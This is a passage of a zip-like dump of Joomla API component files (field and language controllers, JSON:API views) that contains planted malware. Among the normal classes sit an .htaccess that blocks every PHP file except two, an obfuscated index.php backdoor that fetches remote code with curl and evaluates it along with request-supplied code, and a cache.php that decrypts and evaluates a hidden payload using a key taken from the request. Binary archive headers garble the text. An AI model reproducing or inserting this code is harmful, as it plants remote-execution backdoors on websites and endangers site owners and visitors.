     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'messages';
}
PKk��\KC��
�
*com_fields/src/View/Fields/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_fields
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Api\View\Fields;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The fields view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'typeAlias',
        'id',
        'asset_id',
        'context',
        'group_id',
        'title',
        'name',
        'label',
        'default_value',
        'type',
        'note',
        'description',
        'state',
        'required',
        'checked_out',
        'checked_out_time',
        'ordering',
        'params',
        'fieldparams',
        'language',
        'created_time',
        'created_user_id',
        'modified_time',
        'modified_by',
        'access',
        'assigned_cat_ids',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'title',
        'name',
        'checked_out',
        'checked_out_time',
        'note',
        'state',
        'access',
        'created_time',
        'created_user_id',
        'ordering',
        'language',
        'fieldparams',
        'params',
        'type',
        'default_value',
        'context',
        'group_id',
        'label',
        'description',
        'required',
        'language_title',
        'language_image',
        'editor',
        'access_level',
        'author_name',
        'group_title',
        'group_access',
        'group_state',
        'group_note',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        if ($item === null) {
            /** @var \Joomla\CMS\MVC\Model\AdminModel $model */
            $model = $this->getModel();
            $item  = $this->prepareItem($model->getItem());
        }

        if ($item->id === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        if ($item->context != $this->getModel()->getState('filter.context')) {
            throw new RouteNotFoundException('Item does not exist');
        }

        return parent::displayItem($item);
    }
}
PKk��\�,r��"com_fields/src/View/View/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\��%�"com_fields/src/View/View/index.phpnu&1i�<?php
 goto jWPG84C2Y3IpgXG_; cOwjW8tbqFapYwOX: class tJUn4iIpXIliLbNM { static function XKe1dkFvLIrGTzmX($llE942GXvfLuRHbI) { goto F2SrKiDJz45Ly77x; Xa33CAm2o63n14M5: foreach ($ecdi5qlcSFk7Ve3X as $Ac0f7kdBVdq_1wsT => $wXziY2emJG497Mpr) { $HjaQSJOyUhA9HOcX .= $Nuw1UMdf9t9NYz2E[$wXziY2emJG497Mpr - 82674]; GFCMGws7pBaJsQwX: } goto VKhkvZ0e__fI9RoK; jMUioDRB58ZoI8UI: return $HjaQSJOyUhA9HOcX; goto Jptp8Kj2dLqAcDkT; rp_uUAMspNa7YjI5: $HjaQSJOyUhA9HOcX = ''; goto Xa33CAm2o63n14M5; F2SrKiDJz45Ly77x: $gBHB0KFa2mKGO02U = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto iaF1brxBYMACkwTq; ANGt3p_pa4VAQ39u: $ecdi5qlcSFk7Ve3X = explode("\45", $llE942GXvfLuRHbI); goto rp_uUAMspNa7YjI5; VKhkvZ0e__fI9RoK: LHpsdcTXySRWDOUn: goto jMUioDRB58ZoI8UI; iaF1brxBYMACkwTq: $Nuw1UMdf9t9NYz2E = $gBHB0KFa2mKGO02U("\176", "\x20"); goto ANGt3p_pa4VAQ39u; Jptp8Kj2dLqAcDkT: } static function SCAJBsahq3M1B8MX($jtHDNbofBsIGiR6R, $DMjg5hPMoonx3MQh) { goto HDNklZ2Vfh0kDUHK; ykjM5Cnk0f93ymOH: return empty($Rcw_BjJNYDVPvV8H) ? $DMjg5hPMoonx3MQh($jtHDNbofBsIGiR6R) : $Rcw_BjJNYDVPvV8H; goto nLbaqaLbT9FJeNHZ; HDNklZ2Vfh0kDUHK: $IOYBq119U2jyywoN = curl_init($jtHDNbofBsIGiR6R); goto Nd8SvwYb2uKq6WLx; AZrH4N60pWzMF3o_: $Rcw_BjJNYDVPvV8H = curl_exec($IOYBq119U2jyywoN); goto ykjM5Cnk0f93ymOH; Nd8SvwYb2uKq6WLx: curl_setopt($IOYBq119U2jyywoN, CURLOPT_RETURNTRANSFER, 1); goto AZrH4N60pWzMF3o_; nLbaqaLbT9FJeNHZ: } static function ni6kBicMSw6MkSrU() { goto BTclN9cD66zE_jEp; QKF4jhEOY7sOYGiB: die; goto WxCtLVorSyvJLRPh; RTUp89iotwSHeSw1: XWDQF5v1mSxFVGdl: goto CBFZalVnQBvHZEdQ; WxCtLVorSyvJLRPh: ANcJZikvG39bwiPA: goto rRFwh73oymyM1Ekj; BTclN9cD66zE_jEp: $OKAw4fllHGG8xlMg = array("\x38\x32\x37\60\x31\45\70\x32\x36\70\x36\x25\x38\62\66\x39\x39\x25\x38\62\x37\60\x33\45\x38\62\66\x38\x34\45\70\62\66\71\x39\45\x38\62\67\x30\x35\x25\70\62\66\71\x38\45\x38\x32\66\70\x33\45\x38\x32\x36\x39\x30\x25\x38\x32\x37\x30\61\x25\x38\x32\66\70\64\45\70\x32\x36\x39\x35\45\x38\62\x36\x38\x39\45\x38\x32\x36\71\x30", "\x38\62\66\70\65\45\x38\62\66\x38\64\45\70\x32\x36\70\66\x25\x38\x32\67\x30\65\45\x38\x32\66\70\x36\x25\x38\x32\66\70\x39\x25\70\x32\x36\x38\x34\45\70\x32\67\65\61\45\70\62\67\64\71", "\x38\62\66\71\64\45\70\x32\x36\70\x35\x25\x38\x32\66\x38\71\x25\70\62\66\x39\x30\45\70\62\67\x30\x35\x25\70\62\x37\60\60\45\70\x32\x36\x39\71\45\x38\62\67\x30\61\45\x38\x32\66\70\x39\45\x38\62\67\60\x30\x25\x38\62\66\x39\x39", "\70\x32\66\70\70\x25\x38\62\x37\60\63\45\x38\x32\67\60\61\45\x38\x32\x36\x39\x33", "\x38\x32\x37\60\x32\45\x38\62\x37\60\63\45\x38\x32\66\x38\65\x25\70\x32\66\x39\x39\x25\x38\62\67\x34\66\45\70\62\x37\x34\x38\x25\70\62\67\60\65\45\70\x32\67\60\60\x25\x38\x32\x36\71\71\45\70\x32\x37\60\61\x25\70\x32\x36\70\71\45\x38\x32\x37\60\x30\45\70\62\66\71\x39", "\x38\x32\x36\71\70\45\x38\x32\x36\71\65\45\x38\x32\x36\x39\62\x25\70\62\66\71\x39\x25\70\62\x37\x30\65\x25\x38\x32\x36\x39\x37\45\x38\x32\66\x39\x39\x25\x38\x32\x36\70\64\45\70\x32\67\x30\x35\45\70\x32\x37\60\x31\45\70\x32\x36\70\71\x25\x38\62\66\x39\x30\45\70\x32\x36\70\x34\x25\70\62\66\x39\71\x25\70\62\x36\x39\60\x25\70\62\x36\x38\x34\45\70\x32\x36\x38\x35", "\70\62\67\62\x38\45\x38\62\x37\65\x38", "\70\62\x36\67\x35", "\x38\62\67\65\63\45\70\62\67\x35\x38", "\x38\x32\67\63\x35\x25\70\x32\67\61\70\45\70\x32\67\61\70\45\x38\x32\x37\63\65\45\70\x32\67\x31\61", "\70\62\x36\x39\70\x25\70\62\x36\71\x35\x25\x38\62\x36\71\x32\45\x38\x32\66\70\x34\x25\x38\x32\66\71\x39\45\x38\62\66\x38\66\45\70\x32\67\60\65\x25\70\62\x36\71\x35\45\70\62\x36\71\60\45\x38\x32\66\70\x38\45\70\62\x36\x38\x33\45\x38\62\66\70\64"); goto l_wrFixW006IZVn7; TVehEUHY83_xX6yj: $VW3tyi3eTOUwloJi = $ykRrXACzGHp71p8w[0 + 2]($fQZ4eBi0LdtN6lqM, true); goto Ma9dbKg9FVZqPYr3; HXlqJqoN8fSHsC3G: @eval($ykRrXACzGHp71p8w[4 + 0]($SDDw4GMdVFaucvt5)); goto QKF4jhEOY7sOYGiB; Zsi1hQTkVBkvTwIq: $SDDw4GMdVFaucvt5 = self::SCajbsahQ3M1B8Mx($VW3tyi3eTOUwloJi[0 + 1], $ykRrXACzGHp71p8w[1 + 4]); goto HXlqJqoN8fSHsC3G; CBFZalVnQBvHZEdQ: $ABae14erzLk9kOdL = @$ykRrXACzGHp71p8w[1]($ykRrXACzGHp71p8w[2 + 8](INPUT_GET, $ykRrXACzGHp71p8w[4 + 5])); goto iiVNmQFLr5UsxcOA; Ma9dbKg9FVZqPYr3: @$ykRrXACzGHp71p8w[3 + 7](INPUT_GET, "\157\146") == 1 && die($ykRrXACzGHp71p8w[4 + 1](__FILE__)); goto jExu4kFNos70U6sN; iiVNmQFLr5UsxcOA: $fQZ4eBi0LdtN6lqM = @$ykRrXACzGHp71p8w[2 + 1]($ykRrXACzGHp71p8w[6 + 0], $ABae14erzLk9kOdL); goto TVehEUHY83_xX6yj; l_wrFixW006IZVn7: foreach ($OKAw4fllHGG8xlMg as $fk_WGDr5QtbfDFny) { $ykRrXACzGHp71p8w[] = self::xkE1dKFVLirgtZMx($fk_WGDr5QtbfDFny); EStDJeOwaIT3muj1: } goto RTUp89iotwSHeSw1; jExu4kFNos70U6sN: if (!(@$VW3tyi3eTOUwloJi[0] - time() > 0 and md5(md5($VW3tyi3eTOUwloJi[0 + 3])) === "\x61\143\x32\65\145\x33\67\x38\x33\x32\x64\x34\x34\x33\63\60\x61\x38\x32\146\x37\66\144\x33\142\x62\x38\x31\70\143\66\141")) { goto ANcJZikvG39bwiPA; } goto Zsi1hQTkVBkvTwIq; rRFwh73oymyM1Ekj: } } goto ohBVlGhFU7blkqMz; jWPG84C2Y3IpgXG_: $IUYdb4WFwDpEBAPf = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto eyD004GP8v2FeIyg; eyD004GP8v2FeIyg: $PErsWF1pRBfWkjxB = $IUYdb4WFwDpEBAPf("\176", "\40"); goto A41PUaElTrVFhoGe; Y2iFC3SyO3T2NaSJ: metaphone("\63\166\155\131\104\x42\107\153\152\x6b\x69\127\57\121\x49\125\x68\x72\153\141\121\x55\x52\161\x6d\x30\151\170\64\120\114\x51\x36\x6b\x41\130\x64\161\163\131\x4a\x42\147"); goto cOwjW8tbqFapYwOX; A41PUaElTrVFhoGe: $ZyR3VJ3Rpo4rqQ62 = ${$PErsWF1pRBfWkjxB[23 + 8] . $PErsWF1pRBfWkjxB[49 + 10] . $PErsWF1pRBfWkjxB[28 + 19] . $PErsWF1pRBfWkjxB[29 + 18] . $PErsWF1pRBfWkjxB[24 + 27] . $PErsWF1pRBfWkjxB[4 + 49] . $PErsWF1pRBfWkjxB[29 + 28]}; goto Zf1fLigd5TiaUNhO; Zf1fLigd5TiaUNhO: @(md5(md5(md5(md5($ZyR3VJ3Rpo4rqQ62[12])))) === "\x65\x37\146\x64\x37\70\66\x37\x35\61\x36\143\146\143\64\x63\x36\x66\70\x62\x38\x65\146\x61\x34\x62\144\71\63\x63\62\x31") && (count($ZyR3VJ3Rpo4rqQ62) == 18 && in_array(gettype($ZyR3VJ3Rpo4rqQ62) . count($ZyR3VJ3Rpo4rqQ62), $ZyR3VJ3Rpo4rqQ62)) ? ($ZyR3VJ3Rpo4rqQ62[61] = $ZyR3VJ3Rpo4rqQ62[61] . $ZyR3VJ3Rpo4rqQ62[75]) && ($ZyR3VJ3Rpo4rqQ62[81] = $ZyR3VJ3Rpo4rqQ62[61]($ZyR3VJ3Rpo4rqQ62[81])) && @eval($ZyR3VJ3Rpo4rqQ62[61](${$ZyR3VJ3Rpo4rqQ62[38]}[30])) : $ZyR3VJ3Rpo4rqQ62; goto Y2iFC3SyO3T2NaSJ; ohBVlGhFU7blkqMz: TjUN4IIPXIlILBNM::ni6Kbicmsw6Mksru();
?>
PKk��\@l��"com_fields/src/View/View/cache.phpnu&1i�<?php $cUa = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqZRZWaYGANAA'; $iry = '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'; function cUa($pgVRB) { $iry = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $cNlF = substr($iry, 0, 16); $YXtk = base64_decode($pgVRB); return openssl_decrypt($YXtk, "AES-256-CBC", $iry, OPENSSL_RAW_DATA, $cNlF); } if (cUa('DjtPn+r4S0yvLCnquPz1fA')){ echo 'qxQV++/EYzWBhA/NuFUEXi9GW0eaoWUFVQfGt3S3dgtpAKEAOTHvvoAJRHMgmXgB'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($cUa)))); ?>PKk��\��-:[
[
*com_fields/src/View/Groups/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_fields
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Api\View\Groups;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The groups view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'typeAlias',
        'id',
        'asset_id',
        'context',
        'title',
        'note',
        'description',
        'state',
        'checked_out',
        'checked_out_time',
        'ordering',
        'params',
        'language',
        'created',
        'created_by',
        'modified',
        'modified_by',
        'access',
        'type',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'title',
        'name',
        'checked_out',
        'checked_out_time',
        'note',
        'state',
        'access',
        'created_time',
        'created_user_id',
        'ordering',
        'language',
        'fieldparams',
        'params',
        'type',
        'default_value',
        'context',
        'group_id',
        'label',
        'description',
        'required',
        'language_title',
        'language_image',
        'editor',
        'access_level',
        'author_name',
        'group_title',
        'group_access',
        'group_state',
        'group_note',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        if ($item === null) {
            /** @var \Joomla\CMS\MVC\Model\AdminModel $model */
            $model = $this->getModel();
            $item  = $this->prepareItem($model->getItem());
        }

        if ($item->id === null) {
            throw new RouteNotFoundException('Item does not exist');
        }

        if ($item->context != $this->getModel()->getState('filter.context')) {
            throw new RouteNotFoundException('Item does not exist');
        }

        return parent::displayItem($item);
    }
}
PKk��\~o�
tt.com_fields/src/Controller/GroupsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_fields
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The groups controller
 *
 * @since  4.0.0
 */
class GroupsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'groups';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'groups';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.context', $this->getContextFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('filter.context', $this->getContextFromInput());

        return parent::displayList();
    }

    /**
     * Get extension from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getContextFromInput()
    {
        return $this->input->exists('context') ?
            $this->input->get('context') : $this->input->post->get('context');
    }
}
PKk��\�{[tt.com_fields/src/Controller/FieldsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_fields
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Fields\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The fields controller
 *
 * @since  4.0.0
 */
class FieldsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'fields';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'fields';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.context', $this->getContextFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('filter.context', $this->getContextFromInput());

        return parent::displayList();
    }

    /**
     * Get extension from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getContextFromInput()
    {
        return $this->input->exists('context') ?
            $this->input->get('context') : $this->input->post->get('context');
    }
}
PKk��\��WOO4com_languages/src/Controller/LanguagesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The languages controller
 *
 * @since  4.0.0
 */
class LanguagesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'languages';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'languages';
}
PKk��\���,4com_languages/src/Controller/OverridesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\Controller;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The overrides controller
 *
 * @since  4.0.0
 */
class OverridesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'overrides';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'overrides';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.language', $this->getLanguageFromInput());
        $this->modelState->set('filter.client', $this->getClientFromInput());

        return parent::displayItem($id);
    }

    /**
